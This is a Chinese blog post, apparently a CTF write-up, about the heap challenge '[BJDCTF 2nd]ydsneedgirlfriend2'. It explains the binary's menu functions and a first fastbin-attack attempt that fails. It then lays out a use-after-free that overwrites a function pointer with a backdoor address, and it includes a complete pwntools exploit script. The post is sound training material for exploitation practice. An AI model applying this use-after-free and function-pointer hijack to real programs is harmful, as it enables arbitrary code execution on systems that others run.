一道十分奇怪的堆题——[BJDCTF 2nd]ydsneedgirlfriend2

上来先默认

 

 放到ida里看一下

 

 这里的add结构是先创建一个chunk(girlfriend)用来存放指向最后一个创建的chunk和一个函数指针

 

 show函数一度然我以为题目写错了

 

 从girlfriend计算偏移,偏移+1为函数,偏移为参数

delete更是神奇

 

 free偏移指向的地址并且free偏移自身

我一开始还想着这不就fastbin attack 吗,然后这就是跑偏的开始

一开始申请一个chunk,此时有两个chunk结构如下

 

 

 

 第一个chunk是之前说的chunk头,即girlfriend那玩意,指针指向第二个chunk

然后我free 第一个chunk,即偏移为0

 

 可以看到两个chunk都被free了

此时的fastbin

 

 然后我想再free 0不就应该是如下结构嘛

 

 

 

 这不就fastbin attack吗

malloc a,修改a的fd,malloc b 此时指向a,a的fd又可以随便改,这不就可以任意地址写了吗

实际这么操作的时候报错了,我也不知道为什么

后来发现这道题有个后门函数,由于show的时候会调用girlfriend中的函数指针,所以只要将girlfriend free掉再申请回来就得到了

在修改函数指针指向backdoor再调用show即可

exp抄了别人的

from pwn import *                                                                                                                                                                                                   

context(log_level='debug')
def debug_pause():
    log.info(proc.pidof(p))
    pause()

def add(length, name):
    p.sendlineafter('choice :', str(1))
    p.sendlineafter('the length of her name:', str(length))
    p.sendafter('her name:', name)

def dele(index):
    p.sendlineafter('choice :', str(2))
    p.sendlineafter('Index :', str(index))
    
def show(index):
    p.sendlineafter('choice :', str(3))
    p.sendlineafter('Index :', str(index))
        

proc_name = './ydsneedgirlfriend2'
p = process(proc_name)
# p = remote('node3.buuoj.cn', 25351)
elf = ELF(proc_name)
backdoor_addr = 0x400d86
add(0x80, b'a')
dele(0)
add(0x10, p64(0x0) + p64(backdoor_addr))
# debug_pause()
show(0)
p.interactive()

总结:典型的想太多跑偏了

 

posted @ 2021-03-11 00:01  Haokunnnnnnnna  阅读(97)  评论(0编辑  收藏  举报